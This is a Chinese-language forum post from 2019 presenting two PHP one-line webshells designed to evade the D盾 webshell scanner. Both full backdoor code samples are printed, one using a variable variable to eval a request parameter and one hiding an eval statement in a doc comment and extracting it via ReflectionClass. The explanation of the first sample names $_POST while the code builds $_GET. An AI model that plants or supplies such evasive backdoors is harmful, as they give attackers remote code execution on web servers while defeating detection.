libo 发表于 2019-3-12 15:46:28

两种php一句话过D盾的思路

写在前面:两天前说好的分析脚本,现在就简单分析两个示例。本人菜鸟一个,主要是大家能一起学习。D哥,没有针对你的意图啊,我初中的时候还用啊D注入工具呢。。。
前两天的样本,想必D哥已经入库了。不过为啥是已知后门,感觉是还没没时间写匹配,采取的应急措施吧?
姿势一:可变变量数组示例代码:
<?php        $a = 'GET';        //$a = 'POST';        $b = '_';        $c = $b.$a;        foreach($$c as $key => $value){          if($key == "m"){                eval($value);          }        }?>简要分析:咳咳,变量a和b是为了逗比而已,无实际意义,要真要说有意义的话就是破坏_POST字符串。$$c这个可变变量就代表着$_POST数组,当数组成员为m(也就是$_POST['m'])的时候执行eval。
姿势二:反射类获取注释示例代码:PHP

<?php      /**       * eval($_GET);    */          class Test { }      $rc = new ReflectionClass('Test');//建立反射类的一个对象    $comment = $rc->getDocComment();    //执行反射类的一个成员函数,获取完整的注释。    $pos1 = strpos($comment,'eval');    //标记eval开始的位置    $pos2 = strpos($comment,';');       //标记结束的位置    $len = $pos2 - $pos1 + 1;         //获取语句长度    $cmd = substr($comment,$pos1,$len); //按长度截取字符串    eval($cmd);?>
页: [1]
查看完整版本: 两种php一句话过D盾的思路